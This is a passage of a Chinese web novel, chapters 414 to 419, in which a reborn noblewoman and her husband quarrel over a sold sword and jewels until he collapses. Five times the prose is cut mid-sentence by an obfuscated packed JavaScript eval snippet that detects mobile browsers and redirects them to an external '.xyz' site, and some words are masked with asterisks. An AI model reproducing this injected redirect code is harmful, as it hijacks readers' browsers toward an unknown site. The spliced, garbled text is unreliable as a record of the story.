之后等李玦去了北疆,就只有她守着这偌大的端侯府了,要是有孙允斌做她的帮手,还能给她解闷儿,那就再好不过了。 上辈子她跟孙允斌的那点子事儿,李玦压根儿就不知道,这辈子要是李玦再惹她不快,她也不介意再跟孙允斌有点什么。 而且之前楚氏和巧兰劝她的那些话她听进去了,她现在是端侯世子夫人,将来是侯夫人,之后还会是王妃、摄政王妃,有了重生的加持,说不准她还能母仪天下呢,她必须有自己的势力。 现在她只是把那把宝刀卖了,就得了十万两,那一匣子彩宝要是出手了,少说还能得二三十万两。 她手上有了银子,再招揽一些人手,就可以培植自己的势力了。要是能把孙允斌要过来,刚好能帮她出出主意。 第414章互揭脸皮 女人还是得有自己的钱财和势力,全都靠着男人,哪怕这个男人也要靠着你家里,他都能给你蹬鼻子上脸。 而且这男人说的也不单是李玦,还有夏庸,夏明月最近明显感觉到父亲不像以前那般疼爱她了,反而怪她蠢笨,成婚之后不仅没给家里带来好处,连自己夫家的内宅都打理不好,自己的夫君更是频频出事。 夏庸还说了,李玦从前虽然没有太突出的表现,可没见他出过丑。堂堂冠玉公子,成婚后竟变成了这副模样,焉知不是其妻不贤。 简直岂有此理! 成婚前他们对她那么好,什么都不告诉她,还说什么“姑娘家知道那么多干什么”。成婚后也说得含含糊糊的,还让她把事情办好,有消息要多告诉家里。 呵,什么样的大事不能明说?无外乎是那些大逆不道的事,她虽不相信这几家有那等不臣之心,可是想要爬得更高是一定的,前世李玦能成为端王也并非偶然,而是从一开始就在筹谋的。 原先在家里,他们只打算让她做一个贤淑的才女、闺秀,可一旦出嫁,他们恨不得她几日之间就能担起千钧重担,这怎么可能呢? 还拿夏明嫣跟她做比较,他们怎么不想想,夏明嫣帮那些退军家眷安置生计,经常要跟那些人打成一片,那些人就是他们从前明令禁止她接近的那些人啊。 总之,她就是应该拥有自己的财富和人手,只有这样家里才不会瞧不上她,她才能把何夫人在端侯府留下的影子彻底抹去! 至于孙允斌这边,他们相对夏明嫣用美男计没用,但她对孙允斌用美人计有用啊,前世都已经印证过了,不过是再来一次罢了。 夏明月自以为掩饰得很好,柔声细气地劝着李玦:“夫君,今天的事儿已经过去了,再多计较也无用。刚才我都已经让人打听过了,北疆镇北军的确正在征召,说是要换一批兵将回来休养。” “这镇北军里的人虽说主要都是华家军的,可也有不是的,现在征召的是普通兵士和统领,也有一些监理粮草和安抚民生的位子。你过不了华靖离那关,通过这种征召考举却一定没有问题。” “你一定能去的成,等到了那边还有张家父子接应,何愁得不到立功的机会。等你回来了,刚好这边的事情过去了,一定可以爵位和军功一起拿。” 她叹了口气,带了些哀怨地道,“只是,夫君,你去北疆,少说也得一两年,我一个在元京支撑这么大哥府邸,还要出门应酬,维系咱们端侯府的脸面,这府里的事打理起来就难免有些捉襟见肘了。” “你总得给我留一个帮手吧?你把这个孙允斌当心腹栽培,也该让他多接触咱们府里的事儿。他才刚来,刚认下你这个主公,就让他去了华家,你也不怕他被华侯和我那好长姐拉拢过去。” 派出去的人本就应该是跟主家已经建立了关系、有了主仆之情的人,孙允斌来元京的日子太短了,而且两家人从前并无往来,夏明月的话很有道理。 可是李玦不是这么想的,华家要是能把孙允斌拉拢过去,大部分靠的是华靖离和华家的实力,他们能给孙允斌一个更体面、更舒坦的前程。 他自己如果一直留在元京,也能一点点地用**功夫将孙允斌引为兄弟,等他足够可信,再交托大事。 夏明嫣也好,夏明月也好,都是女子,她们能拿什么拉拢、笼络李玦这种对前程有所求的后族后人? 就算是夏明嫣,也最多就是跟孙允斌成为异性知己,想要孙允斌对她死心塌地是很难的,最终能把人拉拢过去的还是华靖离。 她夏明月凭什么替他拉拢孙允斌?她有什么?她甚至连为人处事都不周全,夏明嫣至少还能给孙允斌出出主意呢,她能做什么? 无外乎就是利用她身为女人的优势,用她的美貌和家世吸引住孙允斌,以情动之,之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038722|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以把柄控之…… 虽说李玦让夏明月去见孙允斌的时候也是存了点儿这样的心思的,可是他没让她这么过火,用点似是而非的东西诱一诱那个刚进元京见世面的乡下小子就行了,用不着这么过火。 再者,这种事情,他让她去做跟她主动提出来,还想尽办法用这种蹩脚的理由掩饰,又是另一回事了。 哈,就她还想替他培养心腹?她能培养出什么,把孙允斌变成端侯府的管家,然后给她当面首么? 李玦突然就变脸了,站起来袖子一挥就将面前的茶水扫到了地上,大怒道: “夏明月,我忍你很久了。你说,你是不是看上那个孙允斌了?你说姨姐不会收他做面首,你怎么不照照镜子看看你说这话时的表情?” “你不是了解你长姐,你是不屑她不会收面首,你是觉得她是从卢阳来的,不像你们这些元京贵女这般玩儿得起、放得开!” “我知道你们夏家、楚家看不起我,要不是惦记着我们端侯府的家底儿,根本就不会有什么婚约。你也看不起我了,是不是?” 夏明月到底年轻、脸皮薄,被说中心事,瞬间就红了脸,不过她哪里是能认错道歉的主儿,她站起来就拍着桌子道: “我没有看不起你,是你自己先看不起你自己的。你们端侯府是什么样,我不是第一天知道,可你这些年都做了什么?说你的诗句在元京传颂,说你文采了得,可实际呢?” “不过就是几个句子听着惊艳了些,你敢把整首的诗都传出去吗?你不敢,哈哈,就这样,人前还说自己不爱名利,不想让世人见到全诗,那些句子都是你的小厮不小心泄露出去的。” “你就这点本事,都把你推进御青书院的终选了,你还连个名次都没考出来就退出了。你那是因为牵扯了华靖和而愧疚么?不是,你是不敢了,是怕了,你怕真让你当中作诗、做文章,你会输!” 第415章夏家的女儿不是你能糟践的 这些都是实话,上一世夏明月被骗了一辈子,这辈子也是到了最近才醒悟的。 其实平心而论,李玦骗了许许多多的世人,却不算骗了她,他只是装习惯了,可作为枕边人,只要她愿意,她有的是机会发现真相。 从前,哪怕她有一刻的怀疑,就算她自己不懂判断,问夏庸或楚霆孝一句,在这一点上,他们是不会骗她的。 说到底,还是因为她被自己对李玦的情意蒙住了眼睛,她不肯接受她心仪并且想要与之携手笑看天下的男子不完美。 夏明月可算找到机会了,把憋了两辈子的话都倒了出来:“从前你说你跟华侯的关系有多好,结果呢,都是你让那些说书匠给你写的戏本子,看把你给能耐的。” “你想让外面的人把你当做他的好兄弟,你怎么就不学学人家,好歹多练练武呢,去军中任职还能有个说头,你倒是把功夫都花在耍嘴皮子上了。到头来怎样,你就是个纸糊的……” 夏明月说了很多很多,多到她都开始口不择言言语混乱了。 她前世被关在华家家庙七年,负责看守、照料她的仆妇是几个从庄子里提上来的婆子,说话百无禁忌,她尽管鄙视这些粗俗的仆妇,可不知不觉中也难免学了些他们的话。 李玦听得目瞪口呆,弄不明白她怎么就会说这些话了,像个乡野村妇似的,这时候的她才像是乡下老家长大的。 李玦瞪着眼、指着她的鼻子,也口不择言起来:“好,好,好……终于把心里话说出来了,你和你们夏家真是贪得无厌,既舍不下我端侯府的宝藏,又瞧不上我。” “你又是什么高门闺秀、元京才女么?不一样名不符实?你连你长姐都比不上,人家**给自己的夫家长脸,再看看你。” 夏明月气得恨不得扑上去把李玦的耳朵咬下来,好在这回她理智尚存,尤其是她刚才终于敏锐了一回,抓住了李玦话里的那句“宝藏”。 这回她脑子转得很快,一下子就明白了,李玦刚才说漏嘴了,这就是家里说的那件还不能告诉她的大事吧。 历代端侯领李家军镇守南疆,直到老端侯过世,海贸都掌握在他们家族手中,明的、暗的都算上,又是在山高皇帝远的地方,这得积攒多大一笔财富? 这一定是一笔很大、特别大……总之是一般人想象不出的一笔巨产,要不然他们几家也不会这般捧着已经破落了的端侯府! 或许是巨大的财富最为动人,夏明月这回是真聪明了,她现在要是追问这笔宝藏,李玦一定会反口不认,她也假装没听见。 只是看在宝藏的份上,她到底收敛了些,没继续发作:“行啊,咱们两个论自身都名不符实,可我是个女子,我不行,内宅能请管事,教儿养女能找师父、嬷嬷,这不耽误事儿啊。” “你呢,自己不行,你还不赶紧想想法子,要是这回镇北军征召的事儿再黄了,我看你在元京还待不待得下去!” 李玦当然知道这事儿的紧迫性,可人在气头上,哪里能想那么多: “征召是我的事,你一个妇人家懂什么?现在在说你的事儿,你想把孙允斌留下,不就是想让他做你的入幕之宾、裙下之臣么?” “你还有脸说,要不是看在从前的情分上,我就跟你和离,不,我要休妻。你以为换亲能成,都是因为你一力坚持?” “要不是因为华靖离突然**,赐婚的圣旨下得又快,我会不会娶你另说,横竖你长姐都得来我们端侯府为妾。就算你也嫁进来了,就凭你长姐的能耐,让贵妾当家也不是不行,也不知道你有什么好厉害的!” 依照何夫人的意思,夏明月娶不到就不娶了,要维护三家的关系,把夏明嫣娶回来当个摆设也就是行了。 夏明嫣是夏家的嫡长女,跟楚家虽然没有血缘关系,可在礼法上也是外孙女。另外,何夫人派人打听过了,说是夏明嫣性子和顺,比夏明月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048286|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好相处也好拿捏。 要是夏明嫣进了门,既能作为三家维系关系的象征,又可以顺理成章地不让她参与端侯府的核心事务,这样不远不近的,反而更好。 别看端侯府这些年一直是这四家里最弱的,他们母子也知道要依靠其他这几家,可是他们更清楚他们不能被这几家捏**。 他们要利用这几家,可他们也有尊严,也担心哪天成事儿了,反倒让这几家把他们的钱财都占了…… 依照何夫人的意思,与其娶夏明月回来供着,不如纳夏明嫣回来做贵妾,这样还能敲打敲打夏家,让他们不要太过分。 李玦倒是心里一直念着夏明月的,可是独力养大自己的母亲都这么说了,夏家一开始也只愿意把夏明嫣嫁过来,他也就没有再主动找过夏明月了。 李玦现在心里还有夏明月,说出来的大部分是气话,可是这当中也有了一些真话,要是他娶回来的是夏明嫣,别管喜不喜欢,至少能把府里的事儿料理好了,还能跟何雨萍和睦相处,哪像现在,天天的闹得他都不想回府了。 李玦没敢说何夫人的这些考量,不想把夏明月心里对何夫人的怨恨惹得更高了,夏明月便只听出了李玦想纳夏明嫣。 她心里那个气啊,李玦果然存了这样的心思,那么上辈子他也对夏明嫣动心了是不是? 而且这时候她忽然想起了夏明嫣的那些话,一股怒气勃然而生: “好啊你,我念着与你是青梅竹马,念着咱们两个情分,放着好好的华侯不嫁嫁给你。你不感激我和我们夏家就罢了,你还得陇望蜀,惦记着她夏明嫣。” “让我猜猜,我当时换亲成了,可要是没有那道赐婚的圣旨,你是不是打算娶我做正妻,再纳了她做贵妾?” “李玦,我一口一个阿玦哥哥地叫着,那是我对你的情意。我是不喜欢她夏明嫣,可我夏家的女儿不是你想娶哪个就哪个的,不是你能随意糟践的!” 第416章你还想嫁太子不成? 夏家的女儿想娶哪个就娶哪个的是何夫人,李玦至少不完全是这么想的,他心里还是有夏明月的,另外他现在也看出来了,夏明嫣也是个有主意的,可不是他想娶就能娶的。 他也就是嘴上说说,夏明嫣在成亲的路上就开始张罗安置退军家眷的事,这可不是赐婚到成婚那短短几天内就能想到的,这都不知道筹谋多久了。 说不定这夏明嫣一开始想嫁的就是华靖离,一早就在筹谋这件事了,这样一个女人娶回来也是麻烦,不大可能向何夫人想的那样受人摆布。 可是李玦低不下这个头,他早就受够了楚霆孝和夏庸,这时候更是不想在夏明月面前又低了头。 况且从前夏明月别管在别人面前怎样,在他面前一直是温柔小意的,陡然之间跟他撕破脸还跟他叫板,他无论如何都接受不了。 李玦的态度丝毫没有软化的迹象,他脸红脖子粗地对着夏明月: “你们夏家的女儿金贵,我们端侯府的儿郎就低贱了?要想做你高高在上的尚书千金,有本事你们夏家就别把你嫁过来。” “嫌弃我们端侯府是破落户,你回去问问你父亲,他当初为什么没有退了这门亲?我告诉你,夏明月,莫欺少年穷,你们如此对我,有你们后悔的时候!” “好你个李玦,你敢看不起我父亲和外祖父,凭你以后如何了得,没了他们,你还能有以后?你现在后悔娶我也晚了,夏明嫣她在华家过得好的不得了。” 夏明月也不干了,跳着脚跟他吵,“我劝你别在这儿跟我吵了,有这工夫不如想想怎么取代那位好姐夫华侯。你要是有能耐把华家军变成你的,你让我天天供着你都成。” “嘴上说的永远都是最容易的,我也劝你别被自己的好胜心给耽误了。华侯他们最近已经接连几次识破了你的明棋,你就不怕孙允斌也被他们识破了?” “不管他将来多有能耐,他现在不过是一个初出茅庐的无知小子,你既然看重他,就不该在这时候折了他。我要他出来,不是因为私心,万一哪家衙门、官署要人,他就去了呢。” 自重生以来,这是夏明月说过的最中肯也是最有考量的一番话,既脚踏实地,又把不能宣之于口的前世经历说了出来。 可李玦心里想的却是,他都没想到的东西,她凭什么想到:“你想让他进哪家衙门?” “东宫,去太子身边就很好,还能离间太子跟华家的关系!”夏明月斩钉截铁、理直气壮地道。 李玦却更加嗤之以鼻,脸上的表情也更加狰狞了:“刚还说他是一个无知小子,现在就能进东宫了,还说你不是看上了他?” “夏明月,我看出来了,你跟你父亲一样,都是看中我的将来才肯进我们端侯府的门儿的。你现在还这山望着那山高,指望着攀上东宫了。” “哈,你想先将孙允斌收为己用,再利用他去攀上太子。怎么,难不成你将来还想改嫁给太子,做太子妃么?你做梦!” “你你……好你个李玦,要不是看重你我之间的那点儿情意,我夏明月未必就做不成太子妃!”最后一句,夏明月几乎是吼出来的。 还别说,虽说夏明月比太子谢维年长一岁,这也是在婚配年纪的合理范围内的,凭着她的出身,也凭着谢维储位稳固,她还真做得了这太子妃。 要说圣上会不会因为疑心和忌惮不许谢维去兵部尚书的女儿,还真就应该不会,毕竟前世谢维娶的是华青青,也就是华靖离的庶妹。 华靖离手上的实权可比夏庸这个和稀泥作用的兵部尚书大多了,谢维能娶华青青,按理说就能娶夏明月。 夏明月这么说倒不是真看上谢维了,毕竟在他眼里谢维就是一个一直处在叛逆期中的愣头青,前世他的行为只能用“不知好歹”四个字概括。 这辈子说是华靖离跟谢维的关系改善了,可这才几天,谁能相信他真就改变了呢?就看华青青后来过得那么惨,她可不想受那份罪。 谢维可是太子,将来成事儿了,那是人家本来就是真龙天子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16048287|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不成了,他身边的女人就都成了红颜祸水,她可不想给这么个人抬轿子。 至少上辈子李玦在成为端王和朝廷的实际掌控者之一之后,还想着把她接出家庙,还想着立她为正妃,光是这一点就比谢维强上多少倍。 可要说夏明月对李玦是全然的真心,那到也不是,要不是她知道事情发展的结局,她这辈子也不想嫁给李玦。 她在家庙的时候,也是吃了很多苦的,这辈子她不想再苦下去了。要是李玦不是上一世的胜利者,那么华靖离也好,李玦也罢,她一个都不会嫁。 而李玦现在就更不觉得夏明月对他有多少真心了,其实成婚前李玦试探过夏庸和楚氏几回,这二人都直白地表示过,不想让夏明月活得太累,所以没有告诉她那件旧事。 然而成婚之后,夏明月一改她从前天真烂漫的样子,尤其是在吕家那件事后,她更是满脸地尖酸刻薄、精明算计,偶尔在府里见到那孩子,更是会露出一副要**的表情。 李玦是怎么都不会相信她什么都不知道了,她之前明明已经答应了嫁给华靖离,突然改变主意换亲,八成是知道了南疆海藏宝藏的事。 当今大恒手握兵权的军侯和大将有几个,可他们没有一个能彻底脱离朝廷掌控的,说到底是受到了钱财的限制,以及缺少一个相对隔绝而天高皇帝远、能够让他们自由而隐秘的发展的地方。 钱财,他们端侯府有,地方,南疆现在因为常王他们生乱,已经借助群山地势和大片的寨子与朝廷形成了分隔之势。 别看他们端侯府现在势微,这中间只差几个步骤,他们废掉的棋局就可以盘活了,到时候这几家都不是他们的对手! 夏明月就是看中了这点才肯嫁给他的,一定是这样的。可是她既然指望着他,也期望着之后由他带给她更大的富贵荣宠,她为何还要看不起他? 她凭什么看不起他!李玦握紧了拳头,几次都差点控制不住想要砸到夏明月那张因为怒气而现出狰狞的脸上。 第417章一箭出,没有雕 夏明月也寸步不让,她刚才突然就想明白了,从现在到她将来当上端王妃还得十一二年呢,今天她要是让了,之后她就得一直忍着,她可忍不了。 两个人剑拔**张的时候,李玦的心腹在门口通报,非要见李玦不可。李玦也想让气氛缓和下来,就让人进来了。 那人进来之后见夏明月和李玦都这副样子,像是恨不得把对方活吃了似的,要不是事情太过重大,他是真不敢在这时候说的。 这人示意李玦往旁边走走,然后凑近了跟他耳语了几句,在李玦的表情从吃惊转变为震怒之前,他迅速地撤了出去。 李玦脸色铁青地瞪着夏明月,指着她的手都在哆嗦:“我……我送给华靖离的婚仪贺礼,那把前朝外邦名匠打造的宝刀,你是怎么拿到的?你去管姨姐要了?现在东西在哪儿?” “我没……什么宝刀,我不知道啊。你这人可真不会送礼,虽说但凡名将都喜欢好的兵器,可人家大婚,你这么送,也不怕触人家霉头,难怪你跟他们的关系处不好。” 夏明月还想假装不知道,她在想到底是哪里走漏了风声,买下那刀的商人说是要卖到外头去,不在大恒出手,李玦至少不该这么快就得到消息才对。 难不成是夏明嫣见李玦当众找华靖离的麻烦,以为是她挑唆的,所以一回去就把这事儿给捅出来了,让他们夫妻闹不痛快? 她毕竟倾向于后者,但也不是很确定,夏明嫣不像是会用这种伎俩的人,要是夏明嫣出手,应该更重才对。 李玦冷笑一声:“你还不承认,那胡商在八仙楼开宴,把那把刀拿出来给宾客鉴赏,当中有人看上了,说什么都要买下来。” “那胡商本不想卖,可对方出价甚高,他就卖了……他居然把那把刀在元京就卖了!” “卖了就卖了呗,反正我都拿到银子了,既然你都知道了,也不怕告诉你。” 夏明月觉得他小题大做,不过是卖了把刀,他又不擅武,没有收藏兵刃的习惯,就算别人觉得这是在典卖东西,也没什么丢人的, “这你可不能怪我,不是我去要的,我都不知道你送了什么。是我长姐她主动还给我的,说是收不得这么厚的礼,体谅咱们府上也不宽裕。” “还有一匣子彩宝也给了我了,华侯那时候伤得很重,还没好呢,她说收了那刀容易冲撞了,索性就连彩宝一起给我。” “这又怎么了,值得你发这么大的火儿?礼是私下退回来的,卖的时候想那胡商也不敢说出东西是从我这儿来的,丢不了你的脸。再说了,咱们府上缺银子缺得不成样了,怎么也得有的花吧,你总不能让我卖嫁妆吧。” 这些嫁妆要么是祖产,要么是新置办的,铺子、院子都在府衙和置办处有记录,首饰、玉石、珠宝但凡名贵的银楼和那些行家都知道出处,谁卖的,东西哪儿来的,出手没多久就能知道是谁卖的。 典卖自己妻子的嫁妆那是一件极为丢脸的事,那是日子过不下去的人才会干的。虽说夏明月也是舍不得自己的嫁妆,可是卖了嫁妆,李玦他自己脸面上也没光啊。 最近发生了这一连串的事儿,这端侯府上上下下的名声已经够臭的了,再加上一桩卖妻子的嫁妆,就更没袭爵的指望了。 可是在李玦眼里,夏明月这番说辞简直太不可救药了,他颤抖着声音质问道: “你怎么知道那胡商不会说?这么贵重的东西,他定是要核查东西的出处的,他很快就能查到这不是你们夏家、楚家的东西,那就只能是我的了。” “一个胡商的座上宾,能是什么人有这么大的胃口买下这把刀?买刀的定然背后有人,还八成是这元京数得出名号的贵人。人家追问下去,他定然会说。” “还有,银子呢?卖了多少?这么大一笔银子,进进出出地一旦被人留意到了,闹得满城风雨,你还活不活了?” 名贵的东西到底是不是名副其实,不仅会让行家掌眼,还会去考究其出处,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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再有就是这把刀可是卖出了好价儿的,那么多的银子,就算都是银票也是个大数目,除非这笔银子永远不动,只要动了,定然会惊动元京所有的钱庄票号。 那些个高门贵胄甚至是皇室宗亲很多都在这些钱庄票号有干股、拿花红,很快就会注意到这件事,到时候所有人的目光都会盯住他们夫妇和端侯府。 最让李玦担心的是,卖刀得来的银票不是刚到手的,他就怕夏明月已经动过了,那样的话,很快就会有人注意到他们端侯府了…… 第418章李玦被气到**! 这世上最怕的就是打没有准备的仗,李玦就怕事情不止像夏明月说的这样,万一已经被人注意到了,那就不是华靖离包藏祸心了,而是他怀璧其罪。 李玦只觉得一颗心都要跳到嗓子眼儿里去了,等不及夏明月反应,又重复了一遍: “说,到底卖了多少银子?还有一匣子彩宝,你不会也给卖了吧?你到底知不知道这些东西意味着什么?” 送出去的礼又收回来了,还给卖了,被人发现定是要说他们端侯府小家子气的。 夏明月以为李玦还是怕丢了面子,才会如此恼怒,根本就没太放在心上,至于卖了多少银子,她又不傻,怎么会如数照说。 一把宝刀,卖了十万两,以如今的行货价儿来看,还是急着出手,她直接砍一半儿都不低了。 还有那匣子彩宝,她可不敢说还在她手里,当心再被他给要回去了。 她多少还存了点儿卖弄的心思:“原来是惦记你那点儿银子呢,五万两。你那是什么眼神儿?不少了,这要是给元京那些百姓花,一大家子一辈子都花不完。” “顾着咱府上的开销,除去送礼应酬上的,上上下下也能花三年呢。一把刀而已,什么名匠打造,你也不看看年头,这刀的年纪恐怕比你我的曾曾曾祖父都大了,有价无市的东西。” “那匣子彩宝也出手了,卖了多少……大概也能值个六七万两吧,你可别说我不识货。那些彩宝每一颗都不小,可都是打磨过的,谁家想要镶嵌个头冠、首饰的,再磨一次可不如原石好使。” “瞧把你急的,我承认这是好东西,可咱们这元京,谁家没几样好东西?这东西放着也是放着,与其在库房里落灰,倒不如卖了帮补生计,还能为你的前程铺路,我可不像我长姐那样连件礼都不敢收,鼠目寸光。” 东西无论有多名贵,都是买回来的时候贵,急着卖出去的时候很少有不被压价的。 夏明月自认她说的价都不算低了,那彩宝她也私下找人看过,说是品相难得,却并非什么稀世珍宝。 在她看来,夏明嫣当时肯把这两样东西还给她,主要还是因为那时的华靖离生死未卜,她担心收了这么大的礼,华靖离却没挺过去,这么大的人情,她一个寡妇人家还不上。 也是夏明嫣胆子小,要是换成是她,谁管华靖离是死是活呢,手里多了这么一大笔银钱,将来自己的日子也能好过些。 这刀和彩宝大体都是前朝之物,宫里娘娘们的寝宫里也都有摆在明面上的,也不算什么忌讳,他居然还问她知不知道这两样东西意味着什么,简直莫名其妙! 夏明月见李玦没立刻答话,更加喋喋不休了:“别以为我不知道你在想什么,你就是在担心我又要压你一头,你想在我面前要强,就想把这些东西的价值抬高些,甚至想要翻上几番。” “不就想让我觉得你们端侯府不是破落户么?你这话可说晚了,我掌家之后已经让人把府里的账目盘了,咱们府上什么样,哪儿还用得着装。” 李玦抖着手指着她点了点:“一共才十一二万两?价值连城的东西,你才卖了这么点银子。那是前朝帝王之物,你知不知道我为什么把它们送给华靖离……” “哎呦呦,还价值连城呢,被我猜着了吧。真值这么多银子,咱们府上还至于把银子过程这样?你拿着这么多银子去打点,哪儿还用非得借着他们华家的面子才能在北疆吃得开呢?” 夏明月的眼神里不经意地透出一抹鄙视,“咱们也务实一点,就别打肿脸充胖子了。十一二万两真不少了,都是现银银票,随时都可以支取。” “前朝帝王之物又怎么了?多少年前的事儿了,前朝宫破的时候,多少东西都流到民间去了。咱们这宫里的陛下和娘娘们后来也收拢了不少,摆在宫里,又不是没见过。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054549|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “圣上也没少拿这些东西赏赐臣子,我们家还摆了好几件呢。喔,你们端侯府成这样了,摆不起了,就也不让我们摆了,还要把这些东西夸得价值连城。” 为什么送给华靖离,这问题夏明月都懒得回答,能是为了什么? 不外乎为了走人情、托关系,再就是当时两个人还是被街头巷尾传议的义兄弟,义兄成亲,还受了重伤,不就得送份大礼压压么。 要说这东西因为是前朝之物就有多名贵,夏明月还真不觉得,她从前在书里看到过,前朝就是因为最后两代君主太过钟爱雕刻和奢华之物,荒废了朝政才没的。 因此像这样的前朝之物还真不少,自从大恒立朝之后,好些前朝的东西都被拿去赏人了。 要她说,以李玦和何夫人的一贯作风,要是这样的东西整个端侯府只有这么两件,他们是绝不会舍得送给华靖离的,这府里定然还有,只是可能放在哪处隐秘的私库里,她掌家时日尚浅,还没发现罢了。 “既然都挑明了,那我也就不藏着掖着了。诸如这样的东西,我猜你和婆母还私藏了不少。怎么着,这是跟我这个明媒正娶来的儿媳妇隔着心呢?” “我劝你早点拿出来,在放那儿放着,你还等着它们下崽儿不成?什么都想着留到以后花用,也不看看你现在要是不用、不花,可能都没有以后了。你这次去北疆,我还打算从里面拿出来一万两给你带着呢,你要是嫌少,两万两也行……” 夏明月说的每一个字都像一把重锤敲打在李玦的头上、心上,到了最后他甚至觉得自己的四肢百骸都被这把重锤砸碎了。 眼前的人和东西渐渐都变成了灰色,之后越来越暗,到了最后李玦眼前一片漆黑,他整个人向后倒去,艰难地吐出几个字: “价值连城,贵……贵的不是东西,那是,那是……帝王之物,位同玺绶……反心……” 第419章胃口是会被养大的 “贵的不是东西,难不成是名声?我都没打听出来那刀是谁打制的,那些彩宝是从谁手里来的,就算有名声,也没什么人听过能值什么……” 东西值多少银子,要看着东西本身价值,比方说用料、工艺,再还要看这东西的名气,有没有因为什么事儿扬过名,做出或是画出、写出它的人有没有名气,或是有没有特殊的典故。 前者的价值是实的,后头的价值是虚的,可往往是后者更容易把这东西价儿抬起来,甚至抬价儿的幅度远远大于它原本的价值。 只是名气这东西并不稳定,尤其是前朝的名气,到现在也剩不了多少了。就算是宫里的那些旧物,也有很多堆在库里落灰了。 夏明月不觉得自己说的有什么错,而且她不是站在李玦面前说的,她说这些的时候背着手在屋里走来走去,压根儿就没看李玦。 等到她发现不对的时候,李玦已经倒在地上了,他最后说的那些话,夏明月也没听清楚。 “你说什么喜和什么寿,帝王之物?不就是前朝宫里的东西么也不稀奇,你至于急成这样吗?你怎么了……夫君,你没事吧?” “巧兰,快,快去喊人,去外面请郎中,多请几个。快点,世子要不行了!” 夏明月瞧着李玦面如金纸,气都要上不来了,这才急了。 端侯府原本是有府医的,可那人之前主要是给何夫人看诊的,现在何夫人下了狱了,夏明月又急于清除府中的异己,就赏了这府医一些银子,让他走了。 这事儿就有意思了,白天的时候,在茶肆前面,这城里但凡有点名气的郎中刚刚才为华靖离诊了脉,证明他是真的痊愈了。 这才隔了几个时辰,他们又都被轻道端侯府了,又一个个地给李玦看了诊、开了方。 也不怪这些郎中来得齐全,只因为李玦这回病得太重了,这病症还很少见,想完全治好还不大容易。 “什么?李世子被气得**了?” 钩翊侯府止戈园里发出一声惊呼,夏明嫣怎么都没想到李玦被气得**了,担心华靖离不明白,她赶忙解释道, “不是别人给他下毒,是人在极其气恼、愤恨的情况下,血里就会自己出现一种东西。这种东西看不见、摸不着,但会顺着血管走遍全身。” “这东西跟外头的**不一样,要是按照**的标准,它甚至不能算是毒。就好比……我们生气了,心口痛,没人打我们,为什么会痛,也是因为被另外一种‘毒’操控着。” “这气得狠了,便让自己中了毒了,这毒没有解药,只能辅以汤药,慢慢调养。” 人的心情好坏能够影响身体,心情和身体的各个部分之间像是被某种无形的线牵扯在一起,把这线换成无形的“毒”,就可以理解了。 华靖离也愣住了:“早听说这气急了脑袋里会生出血块儿的,这居然还有**的。那他这样的要调养多久?好了之后能成什么样?” “那些脑袋里有血块儿,有些命是保住了,却成了瘫子。有的还能走路,但嘴歪眼斜的,就是拿筷子,手都会抖。他这样的……” 上辈子李玦身上可没发生这种事,他在外面过得再憋屈,何夫人和府里的这些妻妾也能帮他开解了,让他的心态平和一些。 而且那时府里的这些女人,无论身份如何,无论彼此之间有多少矛盾,都知道李玦就是端侯府的天,只有李玦有前程,她们才能有舒服日子过。 谁都不会像夏明月这样没事儿都要找事儿,明明知道白日里李玦的烦心事儿已经够多了,她不但不开解他,还要制造新的麻烦。 正因为如此,李玦上辈子真没有机会有这样的经历,也不知道他这一世的命运会不会因为他这次**产生大的改变。 夏明嫣也很感慨,万万没想到李玦竟然会这样栽了个大跟头: “这就不好说了,有的人好了之后,大事儿上 